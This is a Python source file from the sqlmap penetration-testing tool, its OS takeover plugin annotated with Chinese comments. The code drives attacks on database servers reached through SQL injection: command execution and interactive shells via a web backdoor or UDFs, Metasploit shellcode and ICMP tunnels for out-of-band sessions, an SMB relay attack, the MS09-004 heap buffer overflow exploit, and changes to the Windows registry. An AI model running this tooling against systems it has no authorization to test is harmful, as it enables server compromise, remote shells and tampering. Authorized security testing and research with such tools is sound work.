#!/usr/bin/env python """ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os # 导入os模块,提供与操作系统交互的功能 from lib.core.common import Backend # 导入Backend类,用于获取后端数据库信息 from lib.core.common import getSafeExString # 导入getSafeExString函数,用于获取安全的异常字符串 from lib.core.common import isDigit # 导入isDigit函数,用于判断字符串是否为数字 from lib.core.common import isStackingAvailable # 导入isStackingAvailable函数,用于判断是否支持堆叠查询 from lib.core.common import openFile # 导入openFile函数,用于安全地打开文件 from lib.core.common import readInput # 导入readInput函数,用于安全地读取用户输入 from lib.core.common import runningAsAdmin # 导入runningAsAdmin函数,用于判断是否以管理员身份运行 from lib.core.data import conf # 导入conf对象,存储全局配置信息 from lib.core.data import kb # 导入kb对象,存储全局知识库信息 from lib.core.data import logger # 导入logger对象,用于记录日志 from lib.core.enums import DBMS # 导入DBMS枚举类,定义数据库类型 from lib.core.enums import OS # 导入OS枚举类,定义操作系统类型 from lib.core.exception import SqlmapFilePathException # 导入SqlmapFilePathException异常类,表示文件路径错误 from lib.core.exception import SqlmapMissingDependence # 导入SqlmapMissingDependence异常类,表示缺少依赖 from lib.core.exception import SqlmapMissingMandatoryOptionException # 导入SqlmapMissingMandatoryOptionException异常类,表示缺少必要选项 from lib.core.exception import SqlmapMissingPrivileges # 导入SqlmapMissingPrivileges异常类,表示缺少权限 from lib.core.exception import SqlmapNotVulnerableException # 导入SqlmapNotVulnerableException异常类,表示目标不漏洞 from lib.core.exception import SqlmapSystemException # 导入SqlmapSystemException异常类,表示系统错误 from lib.core.exception import SqlmapUndefinedMethod # 导入SqlmapUndefinedMethod异常类,表示未定义的方法 from lib.core.exception import SqlmapUnsupportedDBMSException # 导入SqlmapUnsupportedDBMSException异常类,表示不支持的数据库类型 from lib.takeover.abstraction import Abstraction # 导入Abstraction类,用于定义抽象的接管功能 from lib.takeover.icmpsh import ICMPsh # 导入ICMPsh类,用于定义ICMP隧道功能 from lib.takeover.metasploit import Metasploit # 导入Metasploit类,用于定义Metasploit接管功能 from lib.takeover.registry import Registry # 导入Registry类,用于定义注册表操作功能 class Takeover(Abstraction, Metasploit, ICMPsh, Registry): """ This class defines generic OS takeover functionalities for plugins. 这个类定义了插件的通用操作系统接管功能。 """ def __init__(self): # 初始化命令输出表名称和字段名称 self.cmdTblName = ("%soutput" % conf.tablePrefix) # 命令输出表名,使用配置中的表前缀 self.tblField = "data" # 表字段名,存储命令输出数据 Abstraction.__init__(self) # 初始化Abstraction基类 def osCmd(self): """ Executes a single operating system command. 执行单个操作系统命令。 """ # 判断是否可以通过堆叠查询或直接连接执行系统命令 if isStackingAvailable() or conf.direct: web = False # 如果支持堆叠查询或直接连接,则不使用Web后门 elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) web = True # 如果不支持堆叠查询且是MySQL数据库,则使用Web后门 else: errMsg = "unable to execute operating system commands via " errMsg += "the back-end DBMS" raise SqlmapNotVulnerableException(errMsg) # 否则抛出异常,表示无法通过后端数据库执行系统命令 self.getRemoteTempPath() # 获取远程临时路径 self.initEnv(web=web) # 初始化环境 # 如果不使用Web后门,或者使用Web后门但URL存在,则执行命令 if not web or (web and self.webBackdoorUrl is not None): self.runCmd(conf.osCmd) # 执行配置中的系统命令 # 如果不开启操作系统shell或pwn,并且没有清理需求,则进行清理 if not conf.osShell and not conf.osPwn and not conf.cleanup: self.cleanup(web=web) # 清理环境 def osShell(self): """ Prompts for an interactive operating system shell. 提示进行交互式操作系统shell。 """ # 判断是否可以通过堆叠查询或直接连接执行shell if isStackingAvailable() or conf.direct: web = False # 如果支持堆叠查询或直接连接,则不使用Web后门 elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg) web = True # 如果不支持堆叠查询且是MySQL数据库,则使用Web后门 else: errMsg = "unable to prompt for an interactive operating " errMsg += "system shell via the back-end DBMS because " errMsg += "stacked queries SQL injection is not supported" raise SqlmapNotVulnerableException(errMsg) # 否则抛出异常,表示无法通过后端数据库获取交互式shell self.getRemoteTempPath() # 获取远程临时路径 try: self.initEnv(web=web) # 初始化环境 except SqlmapFilePathException: # 如果初始化环境出现文件路径异常 if not web and not conf.direct: infoMsg = "falling back to web backdoor method..." logger.info(infoMsg) web = True # 回退到使用Web后门 kb.udfFail = True # 设置UDF失败标记 self.initEnv(web=web) # 重新初始化环境,使用Web后门 else: raise # 如果不能回退到Web后门,则抛出异常 # 如果不使用Web后门,或者使用Web后门但URL存在,则进入shell if not web or (web and self.webBackdoorUrl is not None): self.shell() # 进入shell # 如果不开启操作系统pwn,并且没有清理需求,则进行清理 if not conf.osPwn and not conf.cleanup: self.cleanup(web=web) # 清理环境 def osPwn(self): """ Attempts to gain an out-of-band session via Metasploit or ICMP. 尝试通过Metasploit或ICMP获取带外会话。 """ goUdf = False # 是否使用UDF执行 fallbackToWeb = False # 是否回退到Web后门 setupSuccess = False # 是否设置成功 self.checkDbmsOs() # 检查数据库服务器操作系统 if Backend.isOs(OS.WINDOWS): # 如果操作系统是Windows msg = "how do you want to establish the tunnel?" msg += "\ [1] TCP: Metasploit Framework (default)" msg += "\ [2] ICMP: icmpsh - ICMP tunneling" while True: tunnel = readInput(msg, default='1') # 读取用户选择的隧道类型 if isDigit(tunnel) and int(tunnel) in (1, 2): tunnel = int(tunnel) # 将用户输入转换为整数 break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warning(warnMsg) # 如果输入无效,则给出警告 else: tunnel = 1 # 如果不是Windows系统,则默认使用TCP隧道 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) if tunnel == 2: # 如果选择ICMP隧道 isAdmin = runningAsAdmin() # 判断是否以管理员身份运行 if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" raise SqlmapMissingPrivileges(errMsg) # 如果不是以管理员身份运行,则抛出异常,表示缺少权限 try: __import__("impacket") # 尝试导入impacket库 except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "https://github.com/SecureAuthCorp/impacket" raise SqlmapMissingDependence(errMsg) # 如果缺少impacket库,则抛出异常,表示缺少依赖 filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" # ICMP回显忽略文件路径 if os.path.exists(filename): try: with openFile(filename, "wb") as f: f.write("1") # 禁用ICMP回显 except IOError as ex: errMsg = "there has been a file opening/writing error " errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) # 如果文件打开/写入错误,则抛出异常 else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\ " errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\ " errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) # 如果文件不存在,给出错误提示 if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") # 如果是MySQL或PostgreSQL,移除sys_bineval UDF self.getRemoteTempPath() # 获取远程临时路径 # 判断是否可以通过堆叠查询或直接连接执行 if isStackingAvailable() or conf.direct: web = False # 如果支持堆叠查询或直接连接,则不使用Web后门 self.initEnv(web=web) # 初始化环境 if tunnel == 1: # 如果选择TCP隧道 if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): # 如果是MySQL或PostgreSQL msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\ [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\ [2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default='1') # 读取用户选择的执行方式 if isDigit(choice) and int(choice) in (1, 2): choice = int(choice) # 将用户输入转换为整数 break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warning(warnMsg) # 如果输入无效,则给出警告 if choice == 1: goUdf = True # 如果选择使用UDF,则设置标记 if goUdf: exitfunc = "thread" # 如果使用UDF,则设置退出函数为线程 setupSuccess = True # 设置成功 else: exitfunc = "process" # 如果不使用UDF,则设置退出函数为进程 self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") # 创建Metasploit shellcode if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) # 上传shellcodeexec程序 if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True # 如果上传失败且是MySQL数据库,则回退到Web后门 else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) # 否则抛出异常,表示无法执行操作系统接管 if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) # 如果是Windows上的MySQL,且开启了提权,给出调试信息 elif tunnel == 2: # 如果选择ICMP隧道 setupSuccess = self.uploadIcmpshSlave(web=web) # 上传icmpsh slave程序 if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True # 如果上传失败且是MySQL数据库,则回退到Web后门 else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) # 否则抛出异常,表示无法执行操作系统接管 # 如果设置不成功,且是MySQL数据库,且不是直接连接,且不支持堆叠查询或回退到Web后门,则使用Web后门 if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True # 设置使用Web后门 if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" else: infoMsg = "going to use a web backdoor to establish the tunnel" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) # 初始化环境,强制初始化 if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: # Unset --priv-esc if the back-end DBMS underlying operating # system is not Windows conf.privEsc = False # 如果不是Windows系统,且开启了提权,则关闭提权 warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" logger.warning(warnMsg) # 给出警告 if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") # 创建Metasploit shellcode setupSuccess = self.uploadShellcodeexec(web=web) # 上传shellcodeexec程序 if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) # 如果上传失败,则抛出异常 elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) # 上传icmpsh slave程序 if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) # 如果上传失败,则抛出异常 if setupSuccess: if tunnel == 1: self.pwn(goUdf) # 如果是TCP隧道,则执行pwn elif tunnel == 2: self.icmpPwn() # 如果是ICMP隧道,则执行icmpPwn else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) # 如果设置失败,则抛出异常 if not conf.cleanup: self.cleanup(web=web) # 如果没有清理需求,则进行清理 def osSmb(self): """ Performs a SMB relay attack. 执行SMB中继攻击。 """ self.checkDbmsOs() # 检查数据库服务器操作系统 if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise SqlmapUnsupportedDBMSException(errMsg) # 如果不是Windows系统,则抛出异常,表示不支持SMB中继攻击 if not isStackingAvailable() and not conf.direct: if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise SqlmapUnsupportedDBMSException(errMsg) # 如果是PostgreSQL或MSSQL,且不支持堆叠查询,则抛出异常 elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) # 如果是MySQL,且不支持堆叠查询,则使用盲注进行SMB中继攻击 printWarn = True # 是否打印警告 warnMsg = "it is unlikely that this attack will be successful " if Backend.isDbms(DBMS.MYSQL): warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" # 如果是MySQL,给出警告 elif Backend.isDbms(DBMS.PGSQL): warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" # 如果是PostgreSQL,给出警告 elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion() warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" # 如果是MSSQL,给出警告 else: printWarn = False # 如果不是上述情况,则不打印警告 if printWarn: logger.warning(warnMsg) # 打印警告信息 self.smb() # 执行SMB中继攻击 def osBof(self): """ Exploits a buffer overflow vulnerability in the 'sp_replwritetovarbin' stored procedure (MS09-004) 利用 'sp_replwritetovarbin' 存储过程中的缓冲区溢出漏洞 (MS09-004) """ if not isStackingAvailable() and not conf.direct: return # 如果不支持堆叠查询或不是直接连接,则返回 if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise SqlmapUnsupportedDBMSException(errMsg) # 如果不是MSSQL 2000或2005,则抛出异常,表示不支持此漏洞 infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) # 打印漏洞利用信息 msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " # 提示是否继续 if readInput(msg, default='N', boolean=True): self.initEnv(mandatory=False, detailed=True) # 初始化环境,不强制,但详细 self.getRemoteTempPath() # 获取远程临时路径 self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) # 创建Metasploit shellcode,使用SEH退出函数 self.bof() # 执行缓冲区溢出攻击 def uncPathRequest(self): """ Initiates a UNC path request. 发起UNC路径请求。 """ errMsg = "'uncPathRequest' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) # 抛出异常,表示未在具体DBMS插件中定义此方法 def _regInit(self): """ Initializes registry operation. 初始化注册表操作 """ if not isStackingAvailable() and not conf.direct: return # 如果不支持堆叠查询或不是直接连接,则返回 self.checkDbmsOs() # 检查数据库服务器操作系统 if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" raise SqlmapUnsupportedDBMSException(errMsg) # 如果不是Windows系统,则抛出异常 self.initEnv() # 初始化环境 self.getRemoteTempPath() # 获取远程临时路径 def regRead(self): """ Reads a value from the Windows registry. 读取Windows注册表中的值 """ self._regInit() # 初始化注册表操作 if not conf.regKey: default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" msg = "which registry key do you want to read? [%s] " % default regKey = readInput(msg, default=default) # 读取用户输入的注册表键,默认使用指定路径 else: regKey = conf.regKey # 如果配置中指定了注册表键,则使用配置 if not conf.regVal: default = "ProductName" msg = "which registry key value do you want to read? [%s] " % default regVal = readInput(msg, default=default) # 读取用户输入的注册表值,默认使用ProductName else: regVal = conf.regVal # 如果配置中指定了注册表值,则使用配置 infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal) logger.info(infoMsg) # 打印读取注册表路径信息 return self.readRegKey(regKey, regVal, True) # 读取注册表键值,并返回结果 def regAdd(self): """ Adds a value to the Windows registry. 向Windows注册表添加值 """ self._regInit() # 初始化注册表操作 errMsg = "missing mandatory option" # 缺少必要参数的错误信息 if not conf.regKey: msg = "which registry key do you want to write? " regKey = readInput(msg) # 读取用户输入的注册表键 if not regKey: raise SqlmapMissingMandatoryOptionException(errMsg) # 如果没有输入,则抛出缺少必要选项异常 else: regKey = conf.regKey # 如果配置中指定了注册表键,则使用配置 if not conf.regVal: msg = "which registry key value do you want to write? " regVal = readInput(msg) # 读取用户输入的注册表值 if not regVal: raise SqlmapMissingMandatoryOptionException(errMsg) # 如果没有输入,则抛出缺少必要选项异常 else: regVal = conf.regVal # 如果配置中指定了注册表值,则使用配置 if not conf.regData: msg = "which registry key value data do you want to write? " regData = readInput(msg) # 读取用户输入的注册表数据 if not regData: raise SqlmapMissingMandatoryOptionException(errMsg) # 如果没有输入,则抛出缺少必要选项异常 else: regData = conf.regData # 如果配置中指定了注册表数据,则使用配置 if not conf.regType: default = "REG_SZ" msg = "which registry key value data-type is it? " msg += "[%s] " % default regType = readInput(msg, default=default) # 读取用户输入的注册表类型,默认使用REG_SZ else: regType = conf.regType # 如果配置中指定了注册表类型,则使用配置 infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal) infoMsg += "with data '%s'. " % regData infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) # 打印添加注册表信息 self.addRegKey(regKey, regVal, regType, regData) # 添加注册表键值 def regDel(self): """ Deletes a value from the Windows registry. 删除Windows注册表中的值 """ self._regInit() # 初始化注册表操作 errMsg = "missing mandatory option" # 缺少必要参数的错误信息 if not conf.regKey: msg = "which registry key do you want to delete? " regKey = readInput(msg) # 读取用户输入的注册表键 if not regKey: raise SqlmapMissingMandatoryOptionException(errMsg) # 如果没有输入,则抛出缺少必要选项异常 else: regKey = conf.regKey # 如果配置中指定了注册表键,则使用配置 if not conf.regVal: msg = "which registry key value do you want to delete? " regVal = readInput(msg) # 读取用户输入的注册表值 if not regVal: raise SqlmapMissingMandatoryOptionException(errMsg) # 如果没有输入,则抛出缺少必要选项异常 else: regVal = conf.regVal # 如果配置中指定了注册表值,则使用配置 message = "are you sure that you want to delete the Windows " message += "registry path '%s\\%s? [y/N] " % (regKey, regVal) if not readInput(message, default='N', boolean=True): return # 如果用户选择不删除,则返回 infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal) infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) # 打印删除注册表信息 self.delRegKey(regKey, regVal) # 删除注册表键值